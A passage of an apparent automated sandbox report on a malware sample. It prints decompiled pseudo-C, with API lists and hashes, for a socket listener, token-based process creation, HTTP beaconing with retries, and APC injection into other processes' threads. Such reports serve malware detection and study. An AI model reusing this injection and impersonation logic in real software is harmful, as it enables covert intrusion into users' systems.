							__eflags = _t77;
							if(_t77 != 0) {
								L20:
								_push(4);
								 *((intOrPtr*)(_t121 + 4)) = _t116;
								L21:
								_push(4);
								_push( &_v12);
								E008612CF(1);
								_t124 = _t124 + 0xc;
								goto L22;
							}
							_t80 =  &_v868;
							_push(_t80);
							_push( *((intOrPtr*)(_t121 + 0x1c)));
							L0088331C();
							__eflags = _t80;
							if(_t80 == 0) {
								_t81 =  &_v340;
								_push(_t81);
								_push( *((intOrPtr*)(_t121 + 0x1c)));
								L0088331C();
								__eflags = _t81;
								if(_t81 == 0) {
									_t82 = GetTickCount();
									__eflags = _t82 -  *((intOrPtr*)(_t121 + 0x18)) -  *((intOrPtr*)(_t121 + 8));
									if(_t82 -  *((intOrPtr*)(_t121 + 0x18)) <=  *((intOrPtr*)(_t121 + 8))) {
										goto L22;
									}
									goto L20;
								}
								_t84 =  *((intOrPtr*)(_t121 + 0x1c));
								_v8 = _t84;
								__imp__#1(_t84, _t116, _t116);
								 *((intOrPtr*)(_t121 + 0x1c)) = _t84;
								__eflags = _t84 - 0xffffffff;
								_t85 =  &_v12;
								if(_t84 != 0xffffffff) {
									 *((intOrPtr*)(_t121 + 4)) = 1;
									_push(6);
								} else {
									 *((intOrPtr*)(_t121 + 4)) = _t116;
									_push(4);
								}
								_push(4);
								_push(_t85);
								E008612CF(1);
								_t124 = _t124 + 0xc;
								_push(_v8);
								L00883304();
								goto L22;
							}
							 *((intOrPtr*)(_t121 + 4)) = 1;
							_push(6);
							goto L21;
						}
						_t87 =  &_v340;
						_push(_t87);
						_push( *((intOrPtr*)(_t121 + 0x1c)));
						L0088331C();
						__eflags = _t87;
						if(_t87 != 0) {
							__imp__#1( *((intOrPtr*)(_t121 + 0x1c)), _t116, _t116);
							_t88 = E008663BB(0, _t87,  &_v76);
							_t125 = _t124 - 0x20;
							_t114 = 8;
							_push( *(_v8 + 0x14) | 0x00110000);
							memcpy(_t125, _t88, _t114 << 2);
							E00865B9A(__eflags);
							_t121 = _v8;
							_t124 = _t125 + 0x30;
							_t116 = 0;
						}
						goto L22;
					}
					_t94 =  &_v340;
					_push(_t94);
					_push( *((intOrPtr*)(_t121 + 0x1c)));
					L0088331C();
					if(_t94 == 0) {
						goto L22;
					}
					_v16 = 1;
					__imp__#1( *((intOrPtr*)(_t121 + 0x1c)), _t116, _t116);
					_v8 = _t94;
					__imp__#10(_t94, 0x8004667e,  &_v16);
					_t133 = _t94 - 0xffffffff;
					if(_t94 == 0xffffffff) {
						_push(_v8);
						L00883304();
						return _t94;
					}
					_t95 = E00866D6B();
					_t112 = _t95;
					_v12 = _t95;
					E008669CD(_t95, _t133, _v8, 0x2bf20, _t116, _t116, 1);
					E008615DB(_t95, _t133,  &_v32, 0x80);
					E0086162B( &_v32,  &_v32, _t112);
					E0086162B( &_v32,  &_v32,  *((intOrPtr*)(_t121 + 0x14)));
					_t104 = E008616E0( &_v32);
					E008612CF(_t112, E008616DD( &_v32), _t104, 0x17);
					_t124 = _t124 + 0x38;
					E008616BD(_t112,  &_v32);
					_pop(0);
					goto L22;
				}
			}

0x00866d81
0x00866d8c
0x00866d93
0x00866d95
0x00866d98
0x00866d9b
0x00866da4
0x00866ff4
0x00866ff4
0x00000000
0x00866daf
0x00866db3
0x00866fd8
0x00866fd8
0x00866fdb
0x00866fe0
0x00866dac
0x00000000
0x00866dac
0x00000000
0x00866fe0
0x00866dbb
0x00866dc0
0x00866dc3
0x00866dc9
0x00866dcf
0x00866dd8
0x00866de1
0x00866dea
0x00866df0
0x00866df9
0x00866e19
0x00866e1f
0x00866e25
0x00866e2b
0x00866ee1
0x00866ee4
0x00866f3c
0x00866f42
0x00866f43
0x00866f46
0x00866f4b
0x00866f4d
0x00866fc5
0x00866fc5
0x00866fc7
0x00866fca
0x00866fcd
0x00866fcf
0x00866fd0
0x00866fd5
0x00000000
0x00866fd5
0x00866f4f
0x00866f55
0x00866f56
0x00866f59
0x00866f5e
0x00866f60
0x00866f69
0x00866f6f
0x00866f70
0x00866f73
0x00866f78
0x00866f7a
0x00866fb7
0x00866fc0
0x00866fc3
0x00000000
0x00000000
0x00000000
0x00866fc3
0x00866f7c
0x00866f82
0x00866f85
0x00866f8b
0x00866f8e
0x00866f91
0x00866f94
0x00866f9d
0x00866fa0
0x00866f96
0x00866f96
0x00866f99
0x00866f99
0x00866fa2
0x00866fa4
0x00866fa5
0x00866faa
0x00866fad
0x00866fb0
0x00000000
0x00866fb0
0x00866f62
0x00866f65
0x00000000
0x00866f65
0x00866ee6
0x00866eec
0x00866eed
0x00866ef0
0x00866ef5
0x00866ef7
0x00866f02
0x00866f0d
0x00866f1a
0x00866f1f
0x00866f27
0x00866f28
0x00866f2a
0x00866f2f
0x00866f32
0x00866f35
0x00866f35
0x00000000
0x00866ef7
0x00866e31
0x00866e37
0x00866e38
0x00866e3b
0x00866e42
0x00000000
0x00000000
0x00866e4d
0x00866e50
0x00866e60
0x00866e63
0x00866e69
0x00866e6c
0x00866fe8
0x00866feb
0x00000000
0x00866feb
0x00866e72
0x00866e82
0x00866e84
0x00866e87
0x00866e98
0x00866ea2
0x00866eae
0x00866ebb
0x00866eca
0x00866ecf
0x00866ed6
0x00866edb
0x00000000
0x00866edb

APIs

htonl.WS2_32(?), ref: 00866DBB
select.WS2_32(00000000,?,?,?,?), ref: 00866E1F
__WSAFDIsSet.WS2_32(00000000,?), ref: 00866E3B
accept.WS2_32(00000000,00000000,00000000), ref: 00866E50
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00866E63

Part of subcall function 008669CD: _malloc.LIBCMT ref: 008669D4
Part of subcall function 008669CD: GetTickCount.KERNEL32 ref: 008669F4

Part of subcall function 008615DB: _malloc.LIBCMT ref: 008615E1

Part of subcall function 0086162B: htonl.WS2_32(00000000), ref: 00861631

Part of subcall function 008616BD: _memset.LIBCMT ref: 008616CB

__WSAFDIsSet.WS2_32(00000000,?), ref: 00866EF0
accept.WS2_32(00000000,00000000,00000000), ref: 00866F02
closesocket.WS2_32(?), ref: 00866FEB

Strings

d, xrefs: 00866D9B

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _mallocaccepthtonl$CountTick_memsetclosesocketioctlsocketselect
String ID: d
API String ID: 4083423528-2564639436
Opcode ID: ad0fd1404d83d92dece9a3b36283c716fb1bbfd96a528f52ff7af8ed254a78eb
Instruction ID: f17594092de9fdd7ffecb92de4f2428561c2a06693f47c5e1ed395f1abb45639
Opcode Fuzzy Hash: ad0fd1404d83d92dece9a3b36283c716fb1bbfd96a528f52ff7af8ed254a78eb
Instruction Fuzzy Hash: 9E717CB1C00648AFCB21EFA9DD49A9FB7F8FF44300F1545AAF515E3291EB31AA548B11

Uniqueness

Uniqueness Score: -1.00%

Function 00863687, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181
processCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00863687(void* __eflags, intOrPtr* _a4, char _a220, char _a256, char _a258, short _a2304, char _a2306) {
				WCHAR* _v4;
				char _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t41;
				intOrPtr* _t42;
				long _t43;
				long _t44;
				long _t45;
				void* _t48;
				intOrPtr* _t49;
				char _t54;
				intOrPtr _t55;
				intOrPtr* _t56;
				intOrPtr* _t60;
				intOrPtr* _t76;
				intOrPtr* _t78;
				void* _t81;
				void* _t84;
				void* _t85;
				intOrPtr* _t91;
				intOrPtr* _t92;
				void* _t93;
				intOrPtr* _t94;
				intOrPtr* _t101;
				intOrPtr* _t103;

				E0087C0B0(0x1104);
				_push(_t93);
				_a256 = 0;
				E0087C290(_t93,  &_a258, 0, 0x7fe);
				_a2304 = 0;
				E0087C290(_t93,  &_a2306, 0, 0x7fe);
				_t94 = _a4;
				_t6 = _t94 + 8; // 0xe0e8296a
				 *((intOrPtr*)( *_t6 + 8)) = 0;
				_v4 = 0;
				if(E00862886( *_t94,  &_a256, 0x400) != 0) {
					_t41 = GetCurrentDirectoryW(0, 0);
					__eflags = _t41 - 0x400;
					if(_t41 < 0x400) {
						GetCurrentDirectoryW(0x400,  &_a2304);
						_v4 =  &_a2304;
					}
					_t14 = _t94 + 0xc; // 0x83ffffe5
					_t42 =  &_a256;
					_t16 = _t94 + 8; // 0xe0e8296a
					_t18 = _t94 + 0x10; // 0xc0330cc4
					__imp__CreateProcessWithTokenW( *0x897e90, 2, 0, _t42,  *_t18, 0, _v4,  *_t16,  *_t14);
					__eflags = _t42;
					if(_t42 == 0) {
						_t43 = GetLastError();
						_t76 = __imp__CreateProcessWithLogonW;
						__eflags = _t43 - 0x522;
						if(_t43 != 0x522) {
							L11:
							_t44 = GetLastError();
							__eflags = _t44 - 0x57;
							if(_t44 != 0x57) {
								L15:
								_t45 = GetLastError();
								__eflags = _t45 - 3;
								if(_t45 != 3) {
									L26:
									_push(GetLastError());
									_push( *_t94);
									_push(0x29);
									goto L27;
								} else {
									_t90 =  *_t94;
									_t49 =  *_t94;
									_t81 = _t49 + 1;
									do {
										_t78 =  *_t49;
										_t49 = _t49 + 1;
										__eflags = _t78;
									} while (_t78 != 0);
									__eflags = _t49 - _t81 - 0x100;
									if(_t49 - _t81 >= 0x100) {
										goto L26;
									} else {
										_t101 = E00874920(_t90, "sysnative");
										__eflags = _t101;
										if(_t101 == 0) {
											goto L26;
										} else {
											E0087C290(_t94,  &_v36, 0, 0x100);
											_t54 = "system32"; // 0x74737973
											 *_t101 = _t54;
											_t55 =  *0x88d56c; // 0x32336d65
											 *((intOrPtr*)(_t101 + 4)) = _t55;
											_t103 = _t101 + 9;
											__eflags = _t103;
											_t56 = _t103;
											_t25 = _t56 + 1; // -8
											_t84 = _t25;
											do {
												_t91 =  *_t56;
												_t56 = _t56 + 1;
												__eflags = _t91;
											} while (_t91 != 0);
											__eflags = _t56 - _t84;
											E0087B0A0(0x100, _t94, _t103,  &_v36, _t103, _t56 - _t84);
											_t60 =  &_v36;
											_t85 = _t60 + 1;
											do {
												_t92 =  *_t60;
												_t60 = _t60 + 1;
												__eflags = _t92;
											} while (_t92 != 0);
											E0087B0A0(0x100, _t94, _t103 - 1, _t103 - 1,  &_v36, _t60 - _t85 + 1);
											_push(_t94);
											_t48 = E00863687(__eflags);
											goto L10;
										}
									}
								}
							} else {
								_t21 = _t94 + 8; // 0xe0e8296a
								__eflags =  *((intOrPtr*)( *_t21)) - 0x48;
								if( *((intOrPtr*)( *_t21)) != 0x48) {
									goto L15;
								} else {
									__eflags = _t76;
									if(_t76 == 0) {
										goto L15;
									} else {
										_push(GetLastError());
										_push( *_t94);
										_push(0x4a);
										L27:
										E00861EC5();
										goto L28;
									}
								}
							}
						} else {
							__eflags = _t76;
							if(_t76 == 0) {
								goto L11;
							} else {
								__eflags =  *0x897ea4 - 1;
								if( *0x897ea4 != 1) {
									goto L11;
								} else {
									_t48 = E0086357A( &_a220, _t94,  &_a220, _v40);
									L10:
								}
							}
						}
					} else {
						_t48 = 1;
					}
				} else {
					_t10 = _t94 + 4; // 0x36ff50d3
					E00861E97(7,  *_t10);
					L28:
					_t48 = 0;
				}
				return _t48;
			}

0x00863692
0x00863699
0x008636a2
0x008636b5
0x008636c0
0x008636d1
0x008636d6
0x008636d9
0x008636df
0x008636f2
0x00863700
0x0086371b
0x0086371d
0x0086371f
0x0086372a
0x00863733
0x00863733
0x00863737
0x0086373a
0x00863741
0x0086374a
0x00863758
0x0086375e
0x00863760
0x00863770
0x00863772
0x00863778
0x0086377d
0x008637a6
0x008637a6
0x008637a8
0x008637ab
0x008637c5
0x008637c5
0x008637c7
0x008637ca
0x00863871
0x00863873
0x00863874
0x00863876
0x00000000
0x008637d0
0x008637d0
0x008637d2
0x008637d4
0x008637d7
0x008637d7
0x008637d9
0x008637da
0x008637da
0x008637e5
0x008637e7
0x00000000
0x008637ed
0x008637f8
0x008637fc
0x008637fe
0x00000000
0x00863800
0x00863808
0x0086380d
0x00863812
0x00863814
0x00863819
0x0086381f
0x0086381f
0x00863822
0x00863824
0x00863824
0x00863827
0x00863827
0x00863829
0x0086382a
0x0086382a
0x0086382e
0x00863837
0x0086383c
0x00863843
0x00863846
0x00863846
0x00863848
0x00863849
0x00863849
0x00863858
0x00863860
0x00863861
0x00000000
0x00863861
0x008637fe
0x008637e7
0x008637ad
0x008637ad
0x008637b0
0x008637b3
0x00000000
0x008637b5
0x008637b5
0x008637b7
0x00000000
0x008637b9
0x008637bb
0x008637bc
0x008637be
0x00863878
0x00863878
0x00000000
0x0086387d
0x008637b7
0x008637b3
0x0086377f
0x0086377f
0x00863781
0x00000000
0x00863783
0x00863783
0x0086378a
0x00000000
0x0086378c
0x0086379a
0x008637a0
0x008637a0
0x0086378a
0x00863781
0x00863762
0x00863764
0x00863764
0x00863702
0x00863702
0x00863707
0x00863880
0x00863880
0x00863880
0x00863888

APIs

_memset.LIBCMT ref: 008636B5
_memset.LIBCMT ref: 008636D1

Part of subcall function 00862886: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,008638D6,00000400,?,008636FB,008638D6,?,00000400), ref: 0086289C
Part of subcall function 00862886: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,008638D6,008636FB,?,008636FB,008638D6,?,00000400,?,?,?,?,008638D6), ref: 008628B5

GetCurrentDirectoryW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,008638D6,008674D7,?,?,008674D7,008683CE,?), ref: 0086371B
GetCurrentDirectoryW.KERNEL32(00000400,?,?,?,?,?,?,?,?,008638D6,008674D7,?,?,008674D7,008683CE,?), ref: 0086372A
CreateProcessWithTokenW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,?,E0E8296A,83FFFFE5), ref: 00863758

Strings

system32, xrefs: 0086380D
sysnative, xrefs: 008637ED

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide_memset$CreateProcessTokenWith
String ID: sysnative$system32
API String ID: 2486443368-2461298002
Opcode ID: a5e63e1fbb1e63b38bbbcda2345adbc27b92c9c5f7178f71b8babc7e1161d5b4
Instruction ID: 3462c235470750152afd6fa5f6e4d8d6c16114b69db28e593a8a3cb4dae6814b
Opcode Fuzzy Hash: a5e63e1fbb1e63b38bbbcda2345adbc27b92c9c5f7178f71b8babc7e1161d5b4
Instruction Fuzzy Hash: 4351D6B1904206AFD7119F68DC85FAB77ACFF45714F15483AF948C7251E731DA088B92

Uniqueness

Uniqueness Score: -1.00%

Function 00862185, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 147
networksleepCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00862185(void* __eflags) {
				int _v8;
				long _v28;
				void* _v32;
				intOrPtr _v36;
				void _v40;
				int _v44;
				int _v48;
				char* _v52;
				char _v179;
				char _v180;
				char _v1203;
				char _v1204;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t41;
				intOrPtr* _t46;
				intOrPtr* _t52;
				void* _t55;
				intOrPtr* _t62;
				void* _t65;
				signed int _t72;
				void* _t74;
				void* _t75;
				void* _t77;
				intOrPtr _t78;
				void* _t79;
				intOrPtr _t80;
				void* _t81;
				intOrPtr _t82;
				void* _t83;
				void* _t90;

				_v52 = "*/*";
				_v48 = 0;
				_v1204 = 0;
				E0087C290(_t83,  &_v1203, 0, 0x3ff);
				_v180 = 0;
				E0087C290(_t83,  &_v179, 0, 0x7f);
				_t72 = 8;
				_v44 = 0;
				memset( &_v40, 0, _t72 << 2);
				_t41 =  *0x897600;
				if(_t41 != 0) {
					E00867E16(_t41, 0,  &_v44);
					_t86 = "%s";
					E008749A6("%s", 0x400, _v36, 0x400, "%s", 0x89b320);
					E008749A6("%s", 0x400,  &_v180, 0x80, "%d",  *0x89af00);
					_t46 =  &_v180;
					_t74 = _t46 + 1;
					do {
						_t78 =  *_t46;
						_t46 = _t46 + 1;
					} while (_t78 != 0);
					_push( *0x897600);
					_push( *0x8975fc);
					_push(_t46 - _t74);
					_push( &_v180);
					_push( &_v44);
					_t79 = 0xd;
					_push(E00869F7B(_t79));
					E008677C3();
					_t52 = _v40;
					_t75 = _t52 + 1;
					do {
						_t80 =  *_t52;
						_t52 = _t52 + 1;
					} while (_t80 != 0);
					_t103 = _t52 != _t75;
					if(_t52 != _t75) {
						_push(_v40);
						_t55 = E008749A6(_t86, 0x400,  &_v1204, 0x400, "%s%s", _v36);
					} else {
						_t55 = E008749A6(_t86, 0x400,  &_v1204, 0x400, _t86, _v36);
					}
					E0086A805(_t55);
					_v8 = 0;
					do {
						_push(0x893c58);
						_push( *0x893c5c);
						_push( &_v52);
						_push(0);
						_push(0);
						_push( &_v1204);
						_t81 = 0x1b;
						_t90 = HttpOpenRequestA( *0x8975f8, E00869F7B(_t81), ??, ??, ??, ??, ??, ??);
						E008620DF(_t75, _t103, _t90);
						_t62 = _v44;
						_t77 = _t62 + 1;
						do {
							_t82 =  *_t62;
							_t62 = _t62 + 1;
						} while (_t82 != 0);
						HttpSendRequestA(_t90, _v44, _t62 - _t77, _v32, _v28);
						_t65 = E0086213E(_t90);
						_pop(_t75);
						_push(_t90);
						if(_t65 != 0) {
							InternetCloseHandle();
							L15:
							E00867E93( &_v44);
							 *0x897600 = 0;
							return E0086A826();
						}
						InternetCloseHandle();
						Sleep(0x1f4);
						_v8 = _v8 + 1;
					} while (_v8 < 4);
					goto L15;
				}
				return _t41;
			}

0x008621a0
0x008621a7
0x008621aa
0x008621b0
0x008621bf
0x008621c5
0x008621d1
0x008621d5
0x008621d8
0x008621da
0x008621e1
0x008621ea
0x008621f4
0x00862203
0x0086221f
0x00862224
0x0086222d
0x00862230
0x00862230
0x00862232
0x00862233
0x00862237
0x0086223f
0x00862245
0x0086224c
0x00862250
0x00862253
0x00862259
0x0086225a
0x0086225f
0x00862265
0x00862268
0x00862268
0x0086226a
0x0086226b
0x0086226f
0x00862277
0x00862289
0x00862296
0x00862279
0x0086227f
0x00862284
0x0086229e
0x008622a9
0x008622ac
0x008622ac
0x008622b1
0x008622ba
0x008622bb
0x008622bc
0x008622c3
0x008622c6
0x008622d9
0x008622dc
0x008622e1
0x008622e5
0x008622e8
0x008622e8
0x008622ea
0x008622eb
0x008622fc
0x00862303
0x00862308
0x00862309
0x0086230c
0x00862326
0x00862328
0x0086232b
0x00862330
0x00000000
0x00862336
0x0086230e
0x00862315
0x0086231b
0x0086231e
0x00000000
0x00862324
0x0086233f

APIs

_memset.LIBCMT ref: 008621B0
_memset.LIBCMT ref: 008621C5
__snprintf.LIBCMT ref: 00862203
__snprintf.LIBCMT ref: 0086221F
__snprintf.LIBCMT ref: 0086227F
__snprintf.LIBCMT ref: 00862296

Part of subcall function 008749A6: __output_l.LIBCMT ref: 00874A28

HttpOpenRequestA.WININET(00000000,?,00000000,00000000,0088D530,00893C58), ref: 008622D3
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 008622FC
InternetCloseHandle.WININET(00000000), ref: 0086230E
Sleep.KERNEL32(000001F4), ref: 00862315
InternetCloseHandle.WININET(00000000), ref: 00862326

Strings

%s%s, xrefs: 0086228F
*/*, xrefs: 008621A0

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __snprintf$CloseHandleHttpInternetRequest_memset$OpenSendSleep__output_l
String ID: %s%s$*/*
API String ID: 894754388-856325523
Opcode ID: 809cb54def9dccb7f63bbcd43a0cafabe7d8a27fa930d1f7481f71cdd8bdc4f9
Instruction ID: 50ad139a1a0494a7f0db0997a118d5b32b0fa42c3e7eec527523aa08a4638903
Opcode Fuzzy Hash: 809cb54def9dccb7f63bbcd43a0cafabe7d8a27fa930d1f7481f71cdd8bdc4f9
Instruction Fuzzy Hash: 9B41A172904219AEDB11ABA8DC45EEEBB79FF05314F0500A5F605F3261D7359A088B62

Uniqueness

Uniqueness Score: -1.00%

Function 00864DDE, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 114
threadsleepprocessCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00864DDE(void** __ebx, void _a4, _Unknown_base(*)()* _a8) {
				long _v8;
				void* _v12;
				int _v16;
				intOrPtr _v20;
				_Unknown_base(*)()* _v24;
				void _v28;
				intOrPtr _v44;
				long _v48;
				void _v52;
				void* _v56;
				_Unknown_base(*)()* _t40;
				void* _t44;
				void* _t58;
				void** _t61;
				signed int _t62;
				void* _t69;

				_t61 = __ebx;
				_t62 = 6;
				memset( &_v52, 0, _t62 << 2);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v28 = _a4;
				_v24 = _a8;
				_v8 = 0;
				_v56 = 0x1c;
				_v20 = CreateThread;
				_v16 = 0;
				_t40 = GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread");
				_a8 = _t40;
				_t75 = _t40;
				if(_t40 == 0) {
					L13:
					return 0;
				}
				_t69 = E00864D53(0, _t75,  *__ebx, __ebx[2],  &_v28);
				if(_t69 == 0) {
					goto L13;
				}
				_t44 = CreateToolhelp32Snapshot(4, 0);
				_a4 = _t44;
				if(_t44 != 0 && Thread32First(_t44,  &_v56) != 0) {
					do {
						if(_v44 == _t61[2]) {
							_t58 = OpenThread(0x1fffff, 0, _v48);
							_v12 = _t58;
							if(_t58 != 0) {
								_t21 = _t69 + 0x10; // 0x10
								_a8(_t58, _t21, _t69, 0, 0);
								CloseHandle(_v12);
							}
						}
					} while (Thread32Next(_a4,  &_v56) != 0);
					CloseHandle(_a4);
					Sleep(0xc8);
					if(ReadProcessMemory( *_t61, _t69,  &_v28, 0x10,  &_v8) != 0 && _v8 == 0x10) {
						if(_v16 != 0) {
							return 1;
						}
						_v16 = 1;
						WriteProcessMemory( *_t61, _t69,  &_v28, 0x10,  &_v8);
					}
				}
			}

0x00864dde
0x00864dea
0x00864dee
0x00864df3
0x00864df4
0x00864df5
0x00864df9
0x00864dff
0x00864e13
0x00864e16
0x00864e1d
0x00864e20
0x00864e2a
0x00864e30
0x00864e33
0x00864e35
0x00864f0f
0x00000000
0x00864f0f
0x00864e49
0x00864e50
0x00000000
0x00000000
0x00864e59
0x00864e5e
0x00864e63
0x00864e81
0x00864e87
0x00864e93
0x00864e99
0x00864e9e
0x00864ea5
0x00864eaa
0x00864eb0
0x00864eb0
0x00864e9e
0x00864ebe
0x00864ec5
0x00864ecc
0x00864ee7
0x00864ef3
0x00000000
0x00864f17
0x00864f02
0x00864f09
0x00864f09
0x00864ee7

APIs

GetModuleHandleA.KERNEL32(ntdll,NtQueueApcThread,00000000,00000000), ref: 00864E23
GetProcAddress.KERNEL32(00000000), ref: 00864E2A

Part of subcall function 00864D53: _malloc.LIBCMT ref: 00864D72
Part of subcall function 00864D53: VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000040,?,00000000,00000000,00000000,00000000,?), ref: 00864DA5
Part of subcall function 00864D53: WriteProcessMemory.KERNEL32(?,00000000,?,00000000,00000000,?,00000000,00000000,00000000,00000000,?), ref: 00864DBD

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00864E59
Thread32First.KERNEL32 ref: 00864E6E
OpenThread.KERNEL32(001FFFFF,00000000,?,00000000,0000001C), ref: 00864E93
CloseHandle.KERNEL32(00000000), ref: 00864EB0
Thread32Next.KERNEL32 ref: 00864EB9
CloseHandle.KERNEL32(00000000,00000000,0000001C,00000000,0000001C), ref: 00864EC5
Sleep.KERNEL32(000000C8), ref: 00864ECC
ReadProcessMemory.KERNEL32(00000000,00000000,00864A47,00000010,00864D09), ref: 00864EDF
WriteProcessMemory.KERNEL32(00000000,00000000,00864A47,00000010,00000010), ref: 00864F09

Strings

ntdll, xrefs: 00864E0E
NtQueueApcThread, xrefs: 00864E07

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: HandleMemoryProcess$CloseThread32Write$AddressAllocCreateFirstModuleNextOpenProcReadSleepSnapshotThreadToolhelp32Virtual_malloc
String ID: NtQueueApcThread$ntdll
API String ID: 4105558983-1374908105
Opcode ID: dc1b9bcda0990224286126d1c1bdb76cd0b7edf2f0b891e8e9429e4947f9d508
Instruction ID: e72eeb3fb298792e512ec13c8f36a7b67a5d23a25b9b8cb8ae4204f3ce770336
Opcode Fuzzy Hash: dc1b9bcda0990224286126d1c1bdb76cd0b7edf2f0b891e8e9429e4947f9d508
Instruction Fuzzy Hash: F7414E71900208BFDF10DFA4CD49AAEBBB9FF44750F105025FA15E6150D7B0DA44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00401E50, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 185
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00401E50(void* __ebx, char* __ecx, signed int __edx, void* __edi, void* __esi, int _a4, char _a8) {
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				char _v32;
				signed int _v36;
				signed int _v52;
				void* _v60;
				char* _v64;
				intOrPtr _v68;
				char** _v76;
				char* _v88;
				void* _v96;
				char** _v104;
				char* _v116;
				char** _v124;
				signed int _v128;
				signed int _v140;
				char* _v144;
				char** _v148;
				void* _v213;
				char* _v232;
				signed int _v236;
				char** _v240;
				int _t118;
				signed int _t119;
				int _t122;
				void* _t127;
				long _t134;
				char** _t138;
				long _t154;
				intOrPtr _t159;
				long _t161;
				void* _t162;
				void* _t164;
				int _t176;
				long _t177;
				signed int _t179;
				char* _t181;
				char* _t182;
				signed int _t184;
				void* _t185;
				intOrPtr* _t186;
				char* _t189;
				intOrPtr _t192;
				char _t198;
				intOrPtr* _t201;
				signed int _t202;
				signed int _t209;
				signed int _t211;
				signed int _t214;
				signed int _t217;
				signed int _t225;
				intOrPtr _t232;
				signed int _t233;
				signed int* _t237;
				void* _t241;
				char* _t243;
				void* _t248;
				char** _t249;
				char** _t250;
				void* _t251;
				char** _t252;

				_t196 = __edx;
				_t189 = __ecx;
				_t249 = _t248 - 0x18;
				_v20 = 0x1b;
				_t181 =  &_a8;
				_v24 = 1;
				 *_t249 = "Mingw-w64 runtime failure:\n";
				_v16 = __imp___iob + 0x40;
				fwrite(__ebx, ??, ??, ??);
				_v20 = _t181;
				_v24 = _a4;
				 *_t249 = __imp___iob + 0x40;
				_t118 = vfprintf(??, ??, ??);
				abort();
				_t243 = _t189;
				_push(__edi);
				_push(__esi);
				_push(_t181);
				_t182 = _t118;
				_t250 = _t249 - 0x6c;
				_t190 =  *0x447058;
				_v124 = _t196;
				if(_t190 <= 0) {
					L22:
					_t228 = 0;
					goto L6;
				} else {
					_t179 =  *0x447054;
					_t241 = 0;
					do {
						_t196 =  *(_t179 + 4);
						if(_t182 < _t196) {
							goto L5;
						} else {
							_t214 =  *(_t179 + 8);
							if(_t182 < _t196) {
								_t228 = VirtualQuery;
								L10:
								_v144 = 0x1c;
								_v148 =  &_v116;
								 *_t250 = _t182;
								_t161 = VirtualQuery(??, ??, ??);
								_t250 = _t250 - 0xc;
								if(_t161 == 0) {
									L25:
									_v144 = _t182;
									_v148 = 0x1c;
									 *_t250 = "  VirtualQuery failed for %d bytes at address %p";
									E00401E50(_t182, _t190, _t196, _t214, _t228);
									_push(_t243);
									_push(_t214);
									_push(_t228);
									_push(_t182);
									_t251 = _t250 - 0x4c;
									_t122 =  *0x447050;
									__eflags = _t122;
									if(__eflags == 0) {
										 *0x447050 = 1;
										_t127 = E00402BB0(0x0000001e + (E004024F0(__eflags) + _t123 * 0x00000002) * 0x00000004 & 0xfffffff0);
										 *0x447058 = 0;
										_t252 = _t251 - _t127;
										 *0x447054 =  &_v213 & 0xfffffff0;
										_t122 = 0;
										__eflags = 0x4462f4 - 7;
										if(0x4462f4 <= 7) {
											goto L27;
										} else {
											__eflags = 0x4462f4 - 0xb;
											_t184 = 0x4462f4;
											if(0x4462f4 <= 0xb) {
												L44:
												_t216 =  *_t184;
												__eflags =  *_t184;
												if( *_t184 != 0) {
													goto L33;
												} else {
													_t83 = _t184 + 4; // 0x0
													_t231 =  *_t83;
													__eflags =  *_t83;
													if( *_t83 != 0) {
														goto L33;
													} else {
														goto L46;
													}
												}
											} else {
												_t122 =  *0x4462f4; // 0x0
												__eflags = _t122;
												if(_t122 != 0) {
													L33:
													__eflags = _t184 - 0x4462f4;
													if(_t184 >= 0x4462f4) {
														goto L27;
													} else {
														do {
															_t69 = _t184 + 4; // 0x0
															_t122 =  *_t69 + 0x400000;
															_t198 =  *_t122 +  *_t184;
															_t184 = _t184 + 8;
															_v32 = _t198;
															L1();
															__eflags = _t184 - 0x4462f4;
														} while (_t184 < 0x4462f4);
														goto L36;
													}
												} else {
													_t122 =  *0x4462f8; // 0x0
													__eflags = _t122;
													if(_t122 == 0) {
														_t122 =  *0x4462fc; // 0x0
														__eflags = _t122;
														if(_t122 != 0) {
															L46:
															_t84 = _t184 + 8; // 0x0
															_t138 =  *_t84;
															__eflags = _t138 - 1;
															if(_t138 != 1) {
																L66:
																_v240 = _t138;
																 *_t252 = "  Unknown pseudo relocation protocol version %d.\n";
																E00401E50(_t184, _t190, _t196, _t216, _t231);
																0;
																0;
																_t201 = _v240;
																__eflags =  *_t201 - 0x5a4d;
																if( *_t201 != 0x5a4d) {
																	L68:
																	asm("repe ret");
																}
																_t108 = _t201 + 0x3c; // 0x40003ca1
																_t201 = _t201 +  *_t108;
																__eflags =  *_t201 - 0x4550;
																if( *_t201 != 0x4550) {
																	goto L68;
																}
																__eflags =  *((short*)(_t201 + 0x18)) - 0x10b;
